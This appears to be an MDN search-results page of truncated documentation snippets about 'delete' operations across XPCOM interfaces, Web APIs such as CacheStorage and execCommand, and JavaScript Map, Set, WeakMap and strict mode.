fast, while enumeration has slight function call overhead. in the case of scriptable arrays like nsiarray however, the enumeration mechanism is often preferred because it avoids the addref / release overhead that comes from accessing each object. the only functional drawback to in-place enumeration is that you cannot manipulate the array itself during the enumeration. for example, you should not delete elements of an array during the enumeration as this will often confuse the loop which is enumerating the array. enumerators most arrays provide access to an object which is used to enumerate members of the array. these enumerators maintain state about the current position in the array. enumerators are used to access the elements in an ordered way, without relying on the underlying array type. t...
...scomarray<t>&). for example: // melements is an nscomarray<nsielement> nsfoo::getelements(nsisimpleenumerator** aresult) { return ns_newarrayenumerator(aresult, melements); } deleting objects requires gecko 6.0(firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) introduces the removeobjectsat() method to nscomarray<t>. this lets you delete multiple objects from the array at once by specifying the index to the first item to delete as well as the number of items to delete. for example, to remove three objects, starting at the third object in the array (that is, the object with index value 2): myarray.removeobjectsat(2, 3); nstarray<t> nstarray<t> is a typesafe array for holding various objects. it can be used to hold objects dir...
...ures that we only append an nsstring void nodecontainer::addmedium(const nsstring& amedium) { mmedia.appendelement(amedium); } nstarray<t> can also be declared on the stack to collect a temporary list of objects and manipulate them. when the object goes out of scope, all its members have their destructors called. note that if the nstarray<t> holds pointers to objects, the objects will not be deleted (and hence not have their destructors called). you can work around this by using nstarray<uniqueptr<t>> instead. void processvisibleitems() { // temporary stack-based nstarray nstarray<foostruct> fooitems; getcompletelist(fooitems); // now filter out non visible objects // doing this backwards pruint32 i = fooitems.length(); while (i > 0) { --i; prbool isvisible; fooi...
...emonstrates the case where a class which owns an nstarray<nsstring>, and are returns an nsistringenumerator to a caller. you can use the variation of ns_newstringenumerator that ensures the owner of the array outlives the enumerator. this is necessary because nsstringarray is not reference counted. without holding a reference to the owner, the enumerator could be left with a dangling pointer to a deleted nstarray<nsstring>. class nsfoo : nsifoo { ... private: nstarray<nsstring> melementnames; }; nsfoo::getelementnames(nsistringenumerator** aresult) { // pass in "this" to make sure the enumerator // holds a reference to "this" return ns_newstringenumerator(aresult, melementnames, this); } one variant of ns_newstringenumerator does not require an owner, but should only be used when the...
IAccessibleEditableText
mpty string is defined. refer to the @ref _specialoffsets "special offsets for use in the iaccessibletext and iaccessibleeditabletext methods" for information about a special offset constant that can be used in iaccessibleeditabletext methods. method overview hresult copytext([in] long startoffset, [in] long endoffset ); hresult cuttext([in] long startoffset, [in] long endoffset ); hresult deletetext([in] long startoffset, [in] long endoffset ); hresult inserttext([in] long offset, [in] bstr text ); hresult pastetext([in] long offset ); hresult replacetext([in] long startoffset, [in] long endoffset, [in] bstr text ); hresult setattributes([in] long startoffset, [in] long endoffset, [in] bstr attributes ); methods copytext() copies the text range into the clipboard. the specifie...
...xt between the two given indices is copied into the system clipboard. hresult copytext( [in] long startoffset, [in] long endoffset ); parameters startoffset start index of the text to moved into the clipboard. the valid range is 0..length. endoffset end index of the text to moved into the clipboard. the valid range is 0..length. return value e_invalidarg if bad [in] passed. s_ok. cuttext() deletes a range of text and copies it to the clipboard. the text between the two given indices is deleted from the text represented by this object and copied to the clipboard. hresult cuttext( [in] long startoffset, [in] long endoffset ); parameters startoffset start index of the text to be deleted. the valid range is 0..length. endoffset end index of the text to be deleted. the valid range is 0..
...tween the two given indices is deleted from the text represented by this object and copied to the clipboard. hresult cuttext( [in] long startoffset, [in] long endoffset ); parameters startoffset start index of the text to be deleted. the valid range is 0..length. endoffset end index of the text to be deleted. the valid range is 0..length. return value e_invalidarg if bad [in] passed. s_ok. deletetext() deletes a range of text. the text between and including the two given indices is deleted from the text represented by this object. hresult deletetext( [in] long startoffset, [in] long endoffset ); parameters startoffset start index of the text to be deleted. the valid range is 0..length. endoffset end index of the text to be deleted. the valid range is 0..length. return value e_inval...
...t pastetext( [in] long offset ); parameters offset index at which to insert the text from the system clipboard into the text represented by this object. the valid range is 0..length. return value e_invalidarg if bad [in] passed. s_ok. replacetext() replaces text. the text between the two given indices is replaced by the specified replacement string. this method is equivalent to calling first deletetext() with the two indices and then calling inserttext() with the replacement text at the start index. hresult replacetext( [in] long startoffset, [in] long endoffset, [in] bstr text ); parameters startoffset start index of the text to be replaced. the valid range is 0..length. endoffset start index of the text to be replaced. the valid range is 0..length. text the text that replaces the ...
nsIAnnotationService
utf8string aname, in nsivariant avalue, in long aflags, in unsigned short aexpiration ); parameters auri the uri on which the annotation is to be set. aname the annotation name. avalue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all page annotations will get deleted when the page is removed from history if the page is not bookmarked. this means that if you create an annotation on an unvisited uri, it will get deleted when the browser shuts down. otherwise, uris can exist in history as annotations but the user has no way of knowing it, potentially violating their privacy expectations about actions such as clear history. if there is an important annotation t...
...string aname, in nsivariant avalue, in long aflags, in unsigned short aexpiration ); parameters aitemid the item on which the annotation is to be set. aname the annotation name. avalue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all item annotations will get deleted when the bookmark is removed. setpageannotationstring() this method sets an annotation for given uri by taking a string as input value, overwriting any previous annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not ...
...n autf8string aname, in astring avalue, in long aflags, in unsigned short aexpiration ); parameters auri the uri on which the annotation is to be set. aname the annotation name. avalue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all page annotations will get deleted when the page is removed from history if the page is not bookmarked. this means that if you create an annotation on an unvisited uri, it will get deleted when the browser shuts down. otherwise, uris can exist in history as annotations but the user has no way of knowing it, potentially violating their privacy expectations about actions such as clear history. if there is an important annotation t...
...tf8string aname, in astring avalue, in long aflags, in unsigned short aexpiration ); parameters aitemid the item on which the annotation is to be set. aname the annotation name. avalue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all item annotations will get deleted when the bookmark is removed. setpageannotationint32() this method sets an annotation for given uri, just like setpageannotationstring(), but takes an int32 as an input. void setpageannotationint32( in nsiuri auri, in autf8string aname, in long avalue, in long aflags, in unsigned short aexpiration ); parameters auri the uri on which the annotation is to be set. aname the an...
nsIFile
a is lost when you convert to a string. do not pass to use with nspr or stdlib! read only. exceptions thrown ns_error_file_invalid_path indicates that this nsifile does not reference a symbolic link. constants constant value description normal_file_type 0 a normal file. directory_type 1 a directory/folder. delete_on_close 0x80000000 optional parameter used by opennsprfiledesc methods append() this function is used for constructing a descendant of the current nsifile. note: this method does not return a new nsifile; it modifies the object it was called on. if the old nsifile should be retained, use clone(). void append( in astring node ); parameters node a string which is intende...
... a very fast operation because it just changes directory information. the actual data doesn't move. unfortunately, an actual "move" is impossible between different volumes (disks or partitions). this method attempts to do the "right thing" when moving files across volumes. that is, it will copy the old file to the new location, try to assign the file attributes as the old file had them, and then delete the old file. you should be aware of these possible problems: this process may take a long time if the file is large and/or the bandwidth is narrow. if the copyto() method loses data, such as mac resource data, then so will such a move. if attribute data cannot be recreated (like the file owner if you don't have enough privileges, or acl data if moving to a non-acl volume), then those attrib...
... a very fast operation because it just changes directory information. the actual data doesn't move. unfortunately, an actual "move" is impossible between different volumes (disks or partitions). this method attempts to do the "right thing" when moving files across volumes. that is, it will copy the old file to the new location, try to assign the file attributes as the old file had them, and then delete the old file. you should be aware of these possible problems: this process may take a long time if the file is large and/or the bandwidth is narrow. if the copyto() method loses data, such as mac resource data, then so will such a move. if attribute data cannot be recreated (like the file owner if you don't have enough privileges, or acl data if moving to a non-acl volume), then those attrib...
... "newparentdir" exists and is not a directory. remove() this method removes the file or directory corresponding to the file path represented by this nsifile. this method will not resolve any symlinks. void remove( in boolean recursive ); parameters recursive if this nsifile corresponds to a directory that is not empty, then this parameter must be true in order for the directory to be deleted. otherwise, this parameter is ignored. exceptions thrown ns_error_file_target_does_not_exist indicates that the current file path does not exist. it is not possible to remove a file that does not exist. ns_error_file_dir_not_empty indicates that an attempt was made to remove a directory that is not empty. ns_error_file_access_denied indicates that an attempt was made to remove a file i...
nsIMsgDBView
ed long count); void loadmessagebymsgkey(in nsmsgkey amsgkey); void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessagebyurl(in string aurl); void reloadmessage(); void reloadmessagewithallparts(); void selectmsgbykey(in nsmsgkey key); void selectfoldermsgbykey(in nsimsgfolder afolder, in nsmsgkey akey); void ondeletecompleted(in boolean succeeded); nsmsgviewindex findindexfromkey(in nsmsgkey amsgkey, in boolean aexpand); void expandandselectthreadbyindex(in nsmsgviewindex aindex, in boolean aaugment); void addcolumnhandler(in astring acolumn, in nsimsgcustomcolumnhandler ahandler); void removecolumnhandler(in astring acolumn); nsimsgcustomcolumnhandler getcolumnhan...
...r nsimsgfolder readonly: the current folder. viewfolder nsimsgfolder uriforfirstselectedmessage acstring readonly: url of the first selected message. hdrforfirstselectedmessage nsimsgdbhdr readonly: header of the first selected message. numselected long readonly: the number of messages currently selected. msgtoselectafterdelete nsmsgviewindex readonly: the index of the message to select after the current one is deleted. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. currentlydisplayedmessage nsmsgviewindex readonly: the index of the currently displayed message. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. suppressmsgdisplay boolean suppress ...
...ge pane is collapsed. suppresscommandupdating boolean suppress command updating. used during folder loading. db nsimsgdatabase readonly: the current database of messages. supportsthreading boolean readonly: does the current database support threading? searchsession nsimsgsearchsession the current search session. removerowonmoveordelete boolean readonly: usinglines boolean readonly: use lines for size. if false kb are used. methods open() opens a folder in the database. void open(in nsimsgfolder folder, in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder, in nsmsgviewflagstypevalue viewflags, out long count); parameters folder ...
...ctfoldermsgbykey() selects a message within a folder by its key. this assumes that the key is somewhere in the displayed messages... i think. void selectfoldermsgbykey(in nsimsgfolder afolder, in nsmsgkey akey); parameters afolder the nsimsgfolder to search within. akey the key of the message. nsmsgkey is defined as an unsigned long in mailnewstypes2.idl. ondeletecompleted() called when delete is completed on a message. used to notify the tree that rows are going away. void ondeletecompleted(in boolean succeeded); parameters succeeded true if the delete was successful. findindexfromkey() gets the index of a message with a particular key. nsmsgviewindex findindexfromkey(in nsmsgkey amsgkey, in boolean aexpand);...
nsINavHistoryResultViewObserver
cell is located. column the column in which the clicked cell is located. onselectionchanged() called when the selection in the tree changes. void onselectionchanged(); parameters none. onperformaction() this method provides a command api that can be used to invoke commands on the selection. the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformaction( in wstring action ); parameters action a string identifying the action to be performed. onperformactiononrow() this method provides a command api that can be used to invoke commands on the specified row. the tree automatically invokes this method when certain keys are pressed. for example, when t...
... void onperformactiononrow( in wstring action, in long row ); parameters action a string identifying the action to be performed. row the row on which to perform the action. ...
... void onperformaction( in wstring action ); parameters action a string identifying the action to be performed. onperformactiononrow() this method provides a command api that can be used to invoke commands on the specified row. the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformactiononrow( in wstring action, in long row ); parameters action a string identifying the action to be performed. row the row on which to perform the action. onperformactiononcell() this method provides a command api that can be used to invoke commands on a specified cell. the tree automatically invokes this method when certain keys are pressed. for exam...
...formactiononrow( in wstring action, in long row ); parameters action a string identifying the action to be performed. row the row on which to perform the action. onperformactiononcell() this method provides a command api that can be used to invoke commands on a specified cell. the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformactiononcell( in wstring action, in long row, in nsitreecolumn column ); parameters action a string identifying the action to be performed. row the row in which the cell to perform the action upon is located. column the column in which the cell is located. see also nsinavservicehist...
nsISelectionController
content/base/public/nsiselectioncontroller.idlscriptable please add a summary to this article. ...
...this is still true when the caret is enabled, visible, but in its "off" blink cycle. read only.
... if set, the specified location will be scrolled to the center of the view. methods native code only!characterextendforbackspace will extend the selection one character cell backward in the document. this method is used internally for handling backspace key only when we're after utf-16 surrogates. void characterextendforbackspace(); parameters none. native code only!characterextendfordelete will extend the selection one character cell forward in the document. this method is used internally for handling delete key. void characterextendfordelete(); parameters none. charactermove() will move the selection one character forward/backward in the document. this will also have the effect of collapsing the selection if the extend = pr_false the "point" of selection that is extended is cons...
...nderbird 1.5 / seamonkey 1.0) set the carets width. can be called any time. void setcaretwidth( in short pixels ); parameters pixels the width to set the caret to in pixels. setdisplayselection() will set the display mode for the selection. void setdisplayselection( in short toggle ); parameters toggle off, on, disabled. native code only!wordextendfordelete will extend the selection one word forward/backward in the document. this method is used internally for handling ctrl[option]-backspace and ctrl[option]-del. void wordextendfordelete( in boolean forward ); parameters forward forward or backward if pr_false. wordmove() wwill move the selection one word forward/backward in the document. this will also have the effect of collapsi...
nsISmsRequestManager
constant value description success_no_error 0 no_signal_error 1 n...
... constant value description success_no_error 0 no_signal_error 1 not_found_error 2 unknown_error 3 ...
... constant value description success_no_error 0 no_signal_error 1 not_found_error 2 unknown_error 3 internal_error 4 ...
.... see constants. notifynomessageinlist() void notifynomessageinlist( in long arequestid ); parameters arequestid a number representing the id of the request. notifyreadmessagelistfailed() void notifyreadmessagelistfailed( in long arequestid, in long aerror ); parameters arequestid a number representing the id of the request. aerror a number with an error code. see constants. notifysmsdeleted() void notifysmsdeleted( in long arequestid, in bool adeleted ); parameters arequestid a number representing the id of the request. adeleted a boolean indictating whether the sms is deleted. notifysmsdeletefailed() void notifysmsdeletefailed( in long arequestid, in long aerror ); parameters arequestid a number representing the id of the request. aerror a number with an error code. s...
Debugger.Object - Firefox Developer Tools
tion behaves like object.defineproperty, except that the target object is implicit, and in a different compartment from the function and descriptor.) defineproperties(properties) add the properties given byproperties to the referent. (this function behaves like object.defineproperties, except that the target object is implicit, and in a different compartment from theproperties argument.) deleteproperty(name) remove the referent's property namedname. return true if the property was successfully removed, or if the referent has no such property. return false if the property is non-configurable. seal() prevent properties from being added to or deleted from the referent. return this debugger.object instance. (this function behaves like the standard object.seal function, except that ...
...return this debugger.object instance. ...
...g the referent as the variable object, but with a lexical environment extended with bindings from the objectbindings. for each own enumerable property ofbindings namedname whose value isvalue, include a variable in the lexical environment in whichcode is evaluated namedname, whose value isvalue. eachvalue must be a debuggee value. (this is not like a with statement:code may access, assign to, and delete the introduced bindings without having any effect on thebindings object.) this method allows debugger code to introduce temporary bindings that are visible to the given debuggee code and which refer to debugger-held debuggee values, and do so without mutating any existing debuggee environment. note that, like evalinglobal, if the code passed to evalinglobalwithbindings is not strict mode code...
...ject instance is replaced. ifhandler is null, the referent is no longer watched.handler may have the following methods, called under the given circumstances: add(frame,name,descriptor) a property namedname has been added to the referent.descriptor is a property descriptor of the sort accepted by debugger.object.prototype.defineproperty, giving the newly added property's attributes. delete(frame,name) the property namedname is about to be deleted from the referent. change(frame,name,olddescriptor,newdescriptor) the existing property namedname on the referent is being changed from those given byolddescriptor to those given bynewdescriptor. this handler method is only called when attributes of the property other than its value are being changed; if only the value is ch...
CacheStorage - Web APIs
is a key in any of the cache objects that the cachestorage object tracks, and returns a promise that resolves to that match. cachestorage.has() returns a promise that resolves to true if a cache object matching the cachename exists. cachestorage.open() returns a promise that resolves to the cache object matching the cachename (a new cache is created if it doesn't already exist.) cachestorage.delete() finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true. if no cache object is found, it resolves to false. cachestorage.keys() returns a promise that will resolve with an array containing strings corresponding to all of the named cache objects tracked by the cachestorage. use this method to iterate over a list of all ...
.../jsonplaceholder.typicode.com/todos/1'; let cacheddata = await getcacheddata( cachename, url ); if ( cacheddata ) { console.log( 'retrieved cached data' ); return cacheddata; } console.log( 'fetching fresh data' ); const cachestorage = await caches.open( cachename ); await cachestorage.add( url ); cacheddata = await getcacheddata( cachename, url ); await deleteoldcaches( cachename ); return cacheddata; } // get data from the cache. async function getcacheddata( cachename, url ) { const cachestorage = await caches.open( cachename ); const cachedresponse = await cachestorage.match( url ); if ( ! cachedresponse || ! cachedresponse.ok ) { return false; } return await cachedresponse.json(); } // delete any old caches to respect...
...cacheddata; } // get data from the cache. async function getcacheddata( cachename, url ) { const cachestorage = await caches.open( cachename ); const cachedresponse = await cachestorage.match( url ); if ( ! cachedresponse || ! cachedresponse.ok ) { return false; } return await cachedresponse.json(); } // delete any old caches to respect user's disk space. ...
...ok ) { return false; } return await cachedresponse.json(); } // delete any old caches to respect user's disk space. async function deleteoldcaches( currentcache ) { const keys = await caches.keys(); for ( const key of keys ) { const isourcache = 'myapp-' === key.substr( 0, 6 ); if ( currentcache === key || ! isourcache ) { continue; } caches.delete( key ); } } try { const data = await getdata(); console.log( { data } ); } catch ( error ) { console.error( { error } ); } specifications specification status comment service workersthe definition of 'cachestorage' in that specification. working draft initial definition. ...
Document.execCommand() - Web APIs
ers, and its conditions have evolved over time. check the compatibility table for usage details. decreasefontsize adds a <small> tag around the selection or at the insertion point. (not supported by internet explorer.) defaultparagraphseparator changes the paragraph separator used when new paragraphs are created in editable text regions. see differences in markup generation for more details. delete deletes the current selection. enableabsolutepositioneditor enables or disables the grabber that allows absolutely-positioned elements to be moved around. the grabber is disabled by default since firefox 64 (bug 1490641). enableinlinetableediting enables or disables the table row/column insertion and deletion controls. the controls are disabled by default since firefox 64 (bug 1490641). ena...
...on, replacing the block element containing the line if one exists (in firefox, <blockquote> is the exception — it will wrap any containing block element). requires a tag-name string as a value argument. virtually all block-level elements can be used. (internet explorer and edge support only heading tags h1–h6, address, and pre, which must be wrapped in angle brackets, such as "<h1>".) forwarddelete deletes the character ahead of the cursor's position, identical to hitting the delete key on a windows keyboard. heading adds a heading element around a selection or insertion point line. requires the tag-name string as a value argument (i.e. "h1", "h6"). (not supported by internet explorer and safari.) hilitecolor changes the background color for the selection or at the insertion point. req...
...ndentation, only the least indented lines in the selection will be indented. insertbronreturn controls whether the enter key inserts a <br> element, or splits the current block element into two. (not supported by internet explorer.) inserthorizontalrule inserts a <hr> element at the insertion point, or replaces the selection with it. inserthtml inserts an html string at the insertion point (deletes selection). requires a valid html string as a value argument. (not supported by internet explorer.) insertimage inserts an image at the insertion point (deletes selection). requires a url string for the image's src as a value argument. the requirements for this string are the same as createlink. insertorderedlist creates a numbered ordered list for the selection or at the insertion point. i...
...equirements for this string are the same as createlink. insertorderedlist creates a numbered ordered list for the selection or at the insertion point. insertunorderedlist creates a bulleted unordered list for the selection or at the insertion point. insertparagraph inserts a paragraph around the selection or the current line. (internet explorer inserts a paragraph at the insertion point and deletes the selection.) inserttext inserts the given plain text at the insertion point (deletes selection). italic toggles italics on/off for the selection or at the insertion point. (internet explorer uses the <em> element instead of <i>.) justifycenter centers the selection or insertion point. justifyfull justifies the selection or insertion point. justifyleft justifies the selection or inse...
HTMLTableElement - Web APIs
te. methods inherits methods from its parent, htmlelement. htmltableelement.createthead() returns an htmlelement representing the first <thead> that is a child of the element. if none is found, a new one is created and inserted in the tree immediately before the first element that is neither a <caption>, nor a <colgroup>, or as the last child if there is no such element. htmltableelement.deletethead() removes the first <thead> that is a child of the element. htmltableelement.createtfoot() returns an htmlelement representing the first <tfoot> that is a child of the element. if none is found, a new one is created and inserted in the tree immediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element. html...
...ves the first <thead> that is a child of the element. htmltableelement.createtfoot() returns an htmlelement representing the first <tfoot> that is a child of the element. if none is found, a new one is created and inserted in the tree immediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element. htmltableelement.deletetfoot() removes the first <tfoot> that is a child of the element. htmltableelement.createcaption() returns an htmlelement representing the first <caption> that is a child of the element. if none is found, a new one is created and inserted in the tree as the first child of the <table> element. htmltableelement.deletecaption() removes the first <caption> that is a child of the element. htmltab...
...nt representing a new row of the table. it inserts it in the rows collection immediately before the <tr> element at the given index position. if necessary a <tbody> is created. if the index is -1, the new row is appended to the collection. if the index is smaller than -1 or greater than the number of rows in the collection, a domexception with the value indexsizeerror is raised. htmltableelement.deleterow() removes the row corresponding to the index given in parameter. if the index value is -1 the last row is removed; if it smaller than -1 or greater than the amount of rows in the collection, a domexception with the value indexsizeerror is raised. specifications specification status comment html living standardthe definition of 'htmltableelement' in that specific...
.... living standard added the sortable property and the stopsorting() method. html5the definition of 'htmltableelement' in that specification. recommendation added the createtbody() method. document object model (dom) level 2 html specificationthe definition of 'htmltableelement' in that specification. obsolete defined when caption, thead, tfoot, insertrow(), and deleterow() raise exceptions. document object model (dom) level 1 specificationthe definition of 'htmltableelement' in that specification. obsolete initial definition. ...
Using the MediaStream Recording API - Web APIs
is using mediarecorder.onstop, and finalize our blob there from all the chunks we have received: mediarecorder.onstop = function(e) { console.log("recorder stopped"); const clipname = prompt('enter a name for your sound clip'); const clipcontainer = document.createelement('article'); const cliplabel = document.createelement('p'); const audio = document.createelement('audio'); const deletebutton = document.createelement('button'); clipcontainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); const blob = new blob(chunks, { 'type' : 'au...
... first, we display a prompt asking the user to name their clip. next, we create an html structure like the following, inserting it into our clip container, which is an <article> element. ...
...tgt.parentnode.parentnode.removechild(evttgt.parentnode); } } let's go through the above code and look at what's happening. first, we display a prompt asking the user to name their clip. next, we create an html structure like the following, inserting it into our clip container, which is an <article> element. ...
...> <button>delete</button> </article> after that, we create a combined blob out of the recorded audio chunks, and create an object url pointing to it, using window.url.createobjecturl(blob). we then set the value of the <audio> element's src attribute to the object url, so that when the play button is pressed on the audio player, it will play the blob. finally, we set an onclick handler on the delete button to be a function that deletes the whole clip html structure. specifications specification status comment mediastream recording working draft initial definition ...
WebGL best practices - Web APIs
ble/enablevertexattribarray) drawing from static, unchanging vaos is faster than mutating the same vao for every draw call. for unchanged vaos, browsers can cache the fetch limits, whereas when vaos change, browsers must revalidate and recalculate limits. the overhead for this is relatively low, but re-using vaos means fewer vertexattribpointer calls too, so it's worth doing wherever it's easy. delete objects eagerly don't wait for the garbage collector/cycle collector to realize objects are orphaned and destroy them. implementations track the liveness of objects, so 'deleting' them at the api level only releases the handle that refers to the actual object. (conceptually releasing the handle's ref-pointer to the object) only once the object is unused in the implementation is it actually freed...
...jects are orphaned and destroy them. implementations track the liveness of objects, so 'deleting' them at the api level only releases the handle that refers to the actual object. (conceptually releasing the handle's ref-pointer to the object) only once the object is unused in the implementation is it actually freed. for example, if you never want to access your shader objects directly again, just delete their handles after attaching them to a program object. eagerly lose contexts too webgl_lose_context.losecontext() can be used to release a webgl context and its resources eagerly. use this if you are finished with any contexts, such as probe contexts, or if you hit a fallback case. flush when expecting results (like queries or rendering frame completion) flush tells the implementation to pus...
...= gl.timeout_expired) { settimeout(test, interval_ms); return; } resolve(); } test()); }); } async function getbuffersubdataasync( gl, target, buffer, srcbyteoffset, dstbuffer, /* optional */ dstoffset, /* optional */ length) { const sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); gl.flush(); await clientwaitasync(gl, sync, 0, 10); gl.deletesync(sync); gl.bindbuffer(target, buffer); gl.getbuffersubdata(target, srcbyteoffset, dstbuffer, dstoffset, length); gl.bindbuffer(target, null); return dest; } async function readpixelsasync(gl, x, y, w, h, format, type, dest) { const buf = gl.createbuffer(); gl.bindbuffer(gl.pixel_pack_buffer, buf); gl.bufferdata(gl.pixel_pack_buffer, dest.bytelength, gl.stream_read); gl.readp...
... use requestpostanimationframe not requestanimationframe while it's well-known that apps should use requestanimationframe ("raf") instead of settimeout (et al) to redraw on-demand, what's less well-known is that non-trivial webgl apps should often not render within a raf callback. ...
Keyed collections - JavaScript
with a map. see also the map reference page for more examples and the complete api. you can use a for...of loop to return an array of [key, value] for each iteration. ...
...map objects, however, have a few more advantages that make them better maps. the keys of an object are strings or symbols, where they can be of any value for a map. you can get the size of a map easily, while you have to manually keep track of size for an object. ...
...bjects are collections of values. you can iterate its elements in insertion order. a value in a set may only occur once; it is unique in the set's collection. the following code shows some basic operations with a set. see also the set reference page for more examples and the complete api. ...
...// true myset.delete('foo'); myset.size; // 2 for (let item of myset) console.log(item); // 1 // "some text" converting between array and set you can create an array from a set using array.from or the spread operator. also, the set constructor accepts an array to convert in the other direction. note: remember that set objects store unique values—so any duplicate elements from an array are deleted when converting! array.from(myset); [...myset2]; myset2 = new set([1, 2, 3, 4]); array and set compared traditionally, a set of elements has been stored in arrays in javascript in a lot of situations. the new set object, however, has some advantages: deleting array elements by value (arr.splice(arr.indexof(val), 1)) is very slow. set objects let you delete elements by their value. with...
Array.prototype.filter() - JavaScript
at pass the test. if no elements pass the test, an empty array will be returned. description filter() calls a provided callback function once for each element in an array, and constructs a new array of all the values for which callback returns a value that coerces to true. callback is invoked only for indexes of the array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values. array elements which do not pass the callback test are simply skipped, and are not included in the new array. callback is invoked with three arguments: the value of the element the index of the element the array object being traversed if a thisarg parameter is provided to filter, it will be used as the callback's this value. otherwise, the value ...
... determined according to the usual rules for determining the this seen by a function. filter() does not mutate the array on which it is called. the range of elements processed by filter() is set before the first invocation of callback. elements which are appended to the array (from callback) after the call to filter() begins will not be visited by callback. if existing elements of the array are deleted in the same way they will not be visited. polyfill filter() was added to the ecma-262 standard in the 5th edition. therefore, it may not be present in all implementations of the standard. you can work around this by inserting the following code at the beginning of your scripts, allowing use of filter() in ecma-262 implementations which do not natively support it. this algorithm is exactly equ...
... ...
... ...
Map - JavaScript
= nan) and all other values are considered equal according to the semantics of the === operator. in the current ecmascript specification, -0 and +0 are considered equal, although this was not so in earlier drafts. see "value equality for -0 and 0" in the browser compatibility table for details. objects vs. maps object is similar to map—both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. for this reason (and because there were no built-in alternatives), objects have been used as maps historically. however, there are important differences that make map preferable in certain cases: map object accidental keys a map does not contain any keys by default. it only contains what is explicitly put int...
...t wrongmap = new map() wrongmap['bla'] = 'blaa' wrongmap['bla2'] = 'blaaa2' console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } but that way of setting a property does not interact with the map data structure. it uses the feature of the generic object. the value of 'bla' is not stored in the map for queries. other operations on the data fail: wrongmap.has('bla') // false wrongmap.delete('bla') // false console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } the correct usage for storing data in the map is through the set(key, value) method. let contacts = new map() contacts.set('jessie', {phone: "213-555-1234", address: "123 n 1st ave"}) contacts.has('jessie') // true contacts.get('hilary') // undefined contacts.set('hilary', {phone: "617-555-4321", address: "321 s 2nd s...
...t usage for storing data in the map is through the set(key, value) method. let contacts = new map() contacts.set('jessie', {phone: "213-555-1234", address: "123 n 1st ave"}) contacts.has('jessie') // true contacts.get('hilary') // undefined contacts.set('hilary', {phone: "617-555-4321", address: "321 s 2nd st"}) contacts.get('jessie') // {phone: "213-555-1234", address: "123 n 1st ave"} contacts.delete('raymond') // false contacts.delete('jessie') // true console.log(contacts.size) // 1 constructor map() creates a new map object. static properties get map[@@species] the constructor function that is used to create derived objects. instance properties map.prototype.size returns the number of key/value pairs in the map object. instance methods map.prototype.clear() removes...
...nsole.log(contacts.size) // 1 constructor map() creates a new map object. static properties get map[@@species] the constructor function that is used to create derived objects. instance properties map.prototype.size returns the number of key/value pairs in the map object. instance methods map.prototype.clear() removes all key-value pairs from the map object. map.prototype.delete(key) returns true if an element in the map object existed and has been removed, or false if the element does not exist. map.prototype.has(key) will return false afterwards. map.prototype.get(key) returns the value associated to the key, or undefined if there is none. map.prototype.has(key) returns a boolean asserting whether a value has been associated to the key in the map object or not. m...
WeakMap - JavaScript
not been garbage collected. because the references are weak, weakmap keys are not enumerable. there is no method to obtain a list of the keys. if they were, the list would depend on the state of garbage collection, introducing non-determinism. if you want to have a list of keys, you should use a map. constructor weakmap() creates a new weakmap object. instance methods weakmap.prototype.delete(key) removes any value associated to the key. weakmap.prototype.has(key) will return false afterwards. weakmap.prototype.get(key) returns the value associated to the key, or undefined if there is none. weakmap.prototype.has(key) returns a boolean asserting whether a value has been associated to the key in the weakmap object or not. weakmap.prototype.set(key, value) sets the value for the k...
...efined); wm2.set(wm1, wm2); // keys and values can be any objects. ...
... ...
... ...
Strict mode - JavaScript
the normal code may duplicate property names, with the last one determining the property's value. but since only the last one does anything, the ...
...the normal code may duplicate property names, with the last one determining the property's value. but since only the last one does anything, the duplication is simply a vector for bugs, if the code is modified to change the property value other than by...
...'"); strict1("'use strict'; 'strict mode code!'"); strict2(eval, "'non-strict code.'"); strict2(eval, "'use strict'; 'strict mode code!'"); nonstrict("'non-strict code.'"); nonstrict("'use strict'; 'strict mode code!'"); thus names in strict mode eval code behave identically to names in strict mode code not being evaluated as the result of eval. third, strict mode forbids deleting plain names. delete name in strict mode is a syntax error: 'use strict'; var x; delete x; // !!! syntax error eval('var y; delete y;'); // !!! syntax error making eval and arguments simpler strict mode makes arguments and eval less bizarrely magical. both involve a considerable amount of magical behavior in normal code: eval to add or remove bindings and to change binding values, and arguments by its indexed pr...
... } function x(eval) { } function arguments() { } var y = function eval() { }; var f = new function('arguments', "'use strict'; return 17;"); second, strict mode code doesn't alias properties of arguments objects created within it. in normal code within a function whose first argument is arg, setting arg also sets arguments[0], and vice versa (unless no arguments were provided or arguments[0] is deleted). arguments objects for strict mode functions store the original arguments when the function was invoked. arguments[i] does not track the value of the corresponding named argument, nor does a named argument track the value in the corresponding arguments[i]. function f(a) { 'use strict'; a = 42; return [a, arguments[0]]; } var pair = f(17); console.assert(pair[0] === 42); console.assert(pa...
request - Archive of obsolete content
